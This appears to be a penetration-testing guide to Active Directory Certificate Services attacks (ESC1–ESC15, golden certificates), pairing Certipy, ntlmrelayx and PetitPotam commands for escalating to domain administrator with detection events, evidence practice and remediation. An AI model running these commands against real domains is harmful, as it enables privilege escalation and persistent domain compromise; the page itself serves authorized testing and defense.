ADCS Attacks
Exploit Active Directory Certificate Services misconfigurations to escalate privileges, forge certificates, and establish persistent access to domain resources.
Danger
Tool Installation
Certipy
Python ADCS toolkit
pip install certipy-ad
ADCS Enumeration
Find Certificate Authorities
# Certipy - Find vulnerable templates
certipy find -u user@corp.local -p 'Password123' -dc-ip 10.10.10.10
certipy find -u user@corp.local -p 'Password123' -dc-ip 10.10.10.10 -vulnerable
# Certify - Enumerate from Windows
Certify.exe find
Certify.exe find /vulnerable
Certify.exe find /enrolleeSuppliesSubject
# PowerShell - Find CA
certutil -config - -ping
Get-ADObject -Filter 'objectClass -eq "pKIEnrollmentService"' -SearchBase "CN=Configuration,DC=corp,DC=local"ESC1 - Misconfigured Certificate Templates
ESC1 allows low-privileged users to request certificates for any user by specifying an alternate Subject Alternative Name (SAN).
Information
# Certipy - Request certificate as Domain Admin
certipy req -u user@corp.local -p 'Password123' -ca CORP-CA -template VulnTemplate -upn administrator@corp.local
# Authenticate with the certificate
certipy auth -pfx administrator.pfx -dc-ip 10.10.10.10
# Certify - Request from Windows
Certify.exe request /ca:CORP-CA /template:VulnTemplate /altname:administratorESC4 - Vulnerable ACLs on Templates
If a user has write access to a certificate template, they can modify it to enable ESC1.
# Check template ACLs
certipy find -u user@corp.local -p 'Password123' -dc-ip 10.10.10.10 -vulnerable
# Modify template to enable ESC1
# Add ENROLLEE_SUPPLIES_SUBJECT and change EKU to Client Authentication
certipy template -u user@corp.local -p 'Password123' -template VulnTemplate -save-old
# Now exploit as ESC1
certipy req -u user@corp.local -p 'Password123' -ca CORP-CA -template VulnTemplate -upn administrator@corp.localESC6 - EDITF_ATTRIBUTESUBJECTALTNAME2
If the CA has EDITF_ATTRIBUTESUBJECTALTNAME2 flag enabled, any template can be used for privilege escalation.
# Check if flag is enabled
certutil -config "CA_NAME\CA" -getreg policy\EditFlags
# If enabled, exploit any template
certipy req -u user@corp.local -p 'Password123' -ca CORP-CA -template User -upn administrator@corp.localESC8 - NTLM Relay to HTTP Endpoints
Relay NTLM authentication to AD CS Web Enrollment endpoints to obtain certificates.
# Start ntlmrelayx targeting web enrollment
ntlmrelayx.py -t http://ca-server/certsrv/certfnsh.asp -smb2support --adcs --template DomainController
# Trigger authentication (e.g., PetitPotam)
python3 PetitPotam.py -u user -p 'Password123' -d corp.local ATTACKER_IP DC_IP
# Use obtained certificate
certipy auth -pfx dc.pfx -dc-ip 10.10.10.10ESC9 - Template Without the SID Security Extension
A template can set CT_FLAG_NO_SECURITY_EXTENSION (0x80000) in
msPKI-Enrollment-Flag, which stops the CA adding szOID_NTDS_CA_SECURITY_EXT — the
extension that carries the requester's SID and lets a DC map a certificate to an account under strong
binding. The KDC then falls back to the UPN or DNS name in the SAN, so whoever can write one account's
userPrincipalName can choose the identity the certificate resolves to: point it at
administrator, enrol, put it back, authenticate.
Information
StrongCertificateBindingEnforcement at
0 or 1 (compatibility). Full enforcement (2) rejects a certificate
with no SID — except when ESC9 is combined with ESC6, where the CA lets you inject the target's SID into
the SAN as a URL and the mapping succeeds anyway.
# 1. Flag it: "Enrollment Flag: NoSecurityExtension" on a client-auth template
certipy find -u user@corp.local -p 'Password123' -dc-ip 10.10.10.10 -vulnerable
# 2. GenericWrite over svc-web: rewrite its UPN, then enrol as svc-web
# (svc-web's ccache is the usual missing piece - shadow credentials gets you one)
certipy account -u user@corp.local -p 'Password123' -dc-ip 10.10.10.10 -user svc-web -upn administrator update
export KRB5CCNAME=svc-web.ccache
certipy req -k -dc-ip 10.10.10.10 -ca CORP-CA -template NoSecExt
# 3. Revert the UPN before you authenticate
certipy account -u user@corp.local -p 'Password123' -dc-ip 10.10.10.10 -user svc-web -upn 'svc-web@corp.local' update
certipy auth -pfx administrator.pfx -dc-ip 10.10.10.10 -username administrator -domain corp.localESC10 - Weak Schannel Certificate Mapping
ESC10 is the same UPN trick aimed at Schannel instead of the KDC. If a DC's
CertificateMappingMethods value under
HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\Schannel includes the
0x4 (UPN) bit, LDAPS maps a client certificate by the SAN UPN and ignores the SID extension
that says the certificate belongs to somebody else. Set a controlled account's UPN to
dc$@corp.local, enrol for a client-auth certificate, revert, and the DC answers as
CORP\DC$.
Warning
CertificateMappingMethods lives in the DC's
registry and reading it needs local admin, so certipy find only tells you which client-auth
templates you can enrol in. Read the key by hand on every DC.
# Requires write access to svc-web's userPrincipalName
certipy account -u user@corp.local -p 'Password123' -dc-ip 10.10.10.10 -user svc-web -upn 'dc$@corp.local' update
export KRB5CCNAME=svc-web.ccache
certipy req -k -dc-ip 10.10.10.10 -ca CORP-CA -template User
certipy account -u user@corp.local -p 'Password123' -dc-ip 10.10.10.10 -user svc-web -upn 'svc-web@corp.local' update
# Schannel logon over LDAPS: -ldap-shell reports the identity the DC mapped you to
certipy auth -pfx dc.pfx -dc-ip 10.10.10.10 -ldap-shellESC11 - NTLM Relay to the CA's RPC Interface
ESC11 relays NTLM to the CA's RPC enrolment interface (ICPR) rather than its web endpoint. The CA accepts
the relayed authentication unless IF_ENFORCEENCRYPTICERTREQUEST is set in its
InterfaceFlags: without it, requests do not require RPC packet privacy, so a coerced machine
account can be relayed straight into a certificate request. HTTPS and EPA do not cover this interface —
ESC8's fix is not this fix.
# find reports "Enforce Encryption for Requests : Disabled" for the CA
certipy find -u user@corp.local -p 'Password123' -dc-ip 10.10.10.10 -vulnerable
# Relay the coerced DC machine account to the CA's RPC endpoint
certipy relay -target 'rpc://10.10.10.50' -ca CORP-CA -template DomainController
# In a second terminal, trigger the authentication
python3 PetitPotam.py -u user -p 'Password123' -d corp.local ATTACKER_IP DC_IP
# Use the certificate the relay obtained
certipy auth -pfx dc.pfx -dc-ip 10.10.10.10ESC15 - Application Policy Injection on V1 Templates
Schema V1 templates have no Application Policies tab, and a CA that has not taken the November 2024
updates copies the Application Policies extension from the CSR into the issued certificate instead of
validating it against the template's EKUs. Request a V1 template that also has enrollee-supplied subject,
inject Client Authentication, and the certificate logs you in for an EKU the template never
granted; inject Certificate Request Agent and you hold an ESC3-style agent certificate.
Microsoft tracks this as CVE-2024-49019 (NVD 7.8, published 2024-11-12), and the fix is
the CA update — the template still looks clean afterwards, which is why enumeration alone will not find an
unpatched CA.
# Prerequisite: a schema V1 template with EnrolleeSuppliesSubject, which Certipy flags as ESC15
certipy find -u user@corp.local -p 'Password123' -dc-ip 10.10.10.10 -vulnerable
# Inject Client Authentication (1.3.6.1.5.5.7.3.2) into the CSR's Application Policies
certipy req -u user@corp.local -p 'Password123' -dc-ip 10.10.10.10 -ca CORP-CA -template WebServer -upn administrator@corp.local -sid S-1-5-21-...-500 -application-policies 'Client Authentication'
# Schannel honours the injected policy even though the template's EKU is Server Authentication
certipy auth -pfx administrator.pfx -dc-ip 10.10.10.10 -ldap-shellTip
certutil -setreg policy\DisableExtensionList
+1.3.6.1.4.1.311.21.10 makes it ignore application policies supplied in a CSR, then restart
CertSvc. That is a blunt control — test it against legitimate requests first, and treat the patch as the
fix.
Golden Certificate
With access to CA private key, forge certificates for any user - similar to Golden Ticket but for PKI.
# Extract CA private key (requires DA or CA admin)
certipy ca -backup -u admin@corp.local -p 'Password123' -ca CORP-CA
# Forge certificate for any user
certipy forge -ca-pfx ca.pfx -upn administrator@corp.local -subject 'CN=Administrator,CN=Users,DC=corp,DC=local'
# Authenticate with forged certificate
certipy auth -pfx forged.pfx -dc-ip 10.10.10.10Detection & Blue Team
Certificate abuse is quiet because the artefacts are legitimate: every step below is an event a healthy PKI also produces. What separates an attack is the pairing — a low-privileged user requesting a certificate whose subject is a privileged account, or a certificate logon for an account that normally uses a password. Log the CA, the template objects and the DCs' Kerberos events, or the chain is invisible.
| Signal | Event / artefact | What it catches |
|---|---|---|
| Enrolment request | 4886 (Certificate Services) | A request naming a SAN that is not the requester — the ESC1 signature. The SAN itself is in the request attributes. |
| Certificate issued | 4887 | A certificate for a privileged identity issued to an ordinary user or machine account. |
| Template modified | 4899 + 5136 on the template object | ESC4: a template edited to allow a supplied subject, or its EKU changed to client authentication. ESC9: the same object's msPKI-Enrollment-Flag gaining NoSecurityExtension. |
| Certificate logon | 4768 (PKINIT) then 4769 | An account authenticating with a certificate where it normally uses a password, especially from a new host. |
| CA policy changed | 4657 with a SACL on the CA's EditFlags |
ESC6 being enabled (or re-enabled) after you last measured it. |
| Web enrolment relay | 4886 on the CA host, no preceding interactive logon | ESC8: the CA's own IIS requesting a machine certificate on behalf of a relayed DC. |
| UPN rewritten | 4738, then 4886, then 4768 or a 4624 type 3 over LDAPS | ESC9/ESC10: an account's userPrincipalName changed to another account's name shortly before an enrolment and a certificate logon. |
| RPC enrolment | 4886 with no matching request in the IIS log on the CA | ESC11: a certificate requested through ICPR rather than certsrv. |
| Unearned application policy | 4886 + the issued certificate's policy extension | ESC15: a policy in the certificate that the template does not define — only possible on a CA missing the November 2024 update for CVE-2024-49019. |
ESC Vulnerability Reference
Certipy 5.0.3 detects the full ESC1–ESC17 range, per its README. This page walks through ESC1, ESC4, ESC6, ESC8, ESC9, ESC10, ESC11 and ESC15 — the ones with a distinct misconfiguration and abuse command to show. The table adds ESC2, ESC3, ESC5 and ESC7 for reference, and the remaining five (ESC12–ESC14, ESC16, ESC17) are described in Certipy's wiki rather than here.
| ESC | Vulnerability | Requirements |
|---|---|---|
| ESC1 | Enrollee supplies subject | Template enrollment + SAN flag |
| ESC2 | Any purpose EKU | Template with Any Purpose or no EKU |
| ESC3 | Enrollment agent template | Certificate Request Agent EKU |
| ESC4 | Template ACL abuse | Write access to template |
| ESC5 | PKI object control | Control over PKI AD objects |
| ESC6 | EDITF flag enabled | CA config allows user SAN |
| ESC7 | CA ACL abuse | ManageCA or ManageCertificates rights |
| ESC8 | NTLM relay to HTTP | Web enrollment without EPA |
| ESC9 | No SID security extension | Template drops the extension + weak DC binding mode |
| ESC10 | Weak Schannel mapping | DC maps certificates by UPN + write access to a UPN |
| ESC11 | NTLM relay to CA RPC | RPC encryption not enforced on the CA |
| ESC15 | Application policy injection (CVE-2024-49019) | Schema V1 template with enrollee-supplied subject on an unpatched CA |
External Resources
Certified Pre-Owned - SpecterOps
Original ADCS research whitepaper
Certipy - GitHub
Python ADCS exploitation tool
HackTricks - AD Certificates
Comprehensive ADCS attack reference
Certify - GitHub
C# ADCS enumeration and abuse
Practice Labs
Practice ADCS attacks in safe environments
Evidence Collection
Certificate details:
Template, SAN/UPN, EKU, serial number, validity and issuing CA for every certificate obtained. A .pfx on its own cannot be reviewed, cannot be revoked by the client, and cannot be shown to have expired after the engagement.
How it authenticated:
The PKINIT 4768 and the service ticket that followed, naming the host that accepted the certificate. "Obtained a certificate for Administrator" and "authenticated as Administrator" are different claims.
The misconfiguration as found:
The template's flags and ACL, or the CA's EditFlags, before you changed anything — and the restored value after, if ESC4 required an edit.
Revocation record: Which serials were revoked at the end and when. Certificates are valid for the template's lifetime by design, so the revocation list is the closure evidence.
CVSS range: ESC1 from an ordinary domain user to Domain Admin: 8.8 | ESC8 relay issuing a DC certificate: 9.8 | ESC15 / CVE-2024-49019: 7.8 as scored by NVD | Golden certificate (CA private key held): 9.8
False Positive Identification
- An issued certificate is not an escalation: Most templates legitimately allow enrolment. The escalation needs three things together: an authentication EKU, requester-controlled subject/SAN, and a requester who should not hold that identity.
- A writable template nobody can enrol in: ESC4 requires both the write and an enrolment right. Verify you can actually request a certificate before reporting the ACL as exploitable.
- A certificate PKINIT refuses: Since the 2022 strong-mapping updates a certificate can be issued but rejected at logon when the account mapping is weak. ESC9 and ESC10 fail the same way where the DC enforces strong binding (StrongCertificateBindingEnforcement = 2) and Schannel does not allow UPN mapping — an issued certificate with no SID extension is not proof of escalation. That is a control working; report it as such, not as a failed attack.
- ESC8 against a CA with EPA enforced: The relay fails at channel binding. The web endpoint being present is a prerequisite, not the vulnerability.
Testing Checklist
Every ESC on this page has two facts: the misconfiguration as found, and the certificate that was issued because of it. A third decides whether it is an escalation - whether PKINIT accepted the certificate.
Find and abuse the misconfiguration
- ☐
certipy find -vulnerableorCertify.exe find /vulnerableenumerates the CA and names the template, with the flags that make it vulnerable. - ☐ Each ESC claimed is proved by an issued certificate whose SAN or UPN you can name - enrolment alone is not escalation.
- ☐
certipy auth -pfxreturns a TGT for the target account, or the rejection (strong mapping, wrong EKU) is reported as a working control. - ☐ The CA's transport is tested per ESC: HTTP endpoint for ESC8, RPC interface for ESC11, and the result decides which of the two claims is made.
Prove the result and close it out
- ☐ For ESC4, the template ACL is captured before and after your edit and restored; a writable template you cannot enrol in is not exploitable.
- ☐ ESC9, ESC10 and ESC15 claims are checked against
StrongCertificateBindingEnforcementand the CA patch level before they are written up. - ☐ A golden certificate is proved by authenticating with it, and the source of the CA private key is recorded.
- ☐ Every certificate issued is revoked at the end, and the serial list is in the notes.
Remediation
Templates
- • Remove
ENROLLEE_SUPPLIES_SUBJECTfrom every template that does not have a written reason for it, and require manager approval where the subject must vary. - • Restrict enrolment ACLs — a template that "Domain Users" can enrol in and that allows a SAN is ESC1 by definition.
- • Run
certipy find -vulnerableon a schedule and treat the output as a recurring control check, not a one-off assessment. - • Clear
CT_FLAG_NO_SECURITY_EXTENSIONfrom templates that do not need it, and setStrongCertificateBindingEnforcement = 2on the DCs — the two together close ESC9.
CA and transport
- • Disable HTTP certificate enrolment, or enforce HTTPS with EPA; that single change removes the ESC8 relay destination.
- • Limit
ManageCAandManageCertificatesto named PKI administrators, and keep the CA private key on an HSM or offline. - • Alert on
4886/4887enrolments for privileged SANs,4899template loads, and5136on certificate template objects. - • Set
IF_ENFORCEENCRYPTICERTREQUESTon the CA and patch it for CVE-2024-49019 — EPA and HTTPS close ESC8 but do not touch the RPC interface, and no template audit finds an unpatched CA.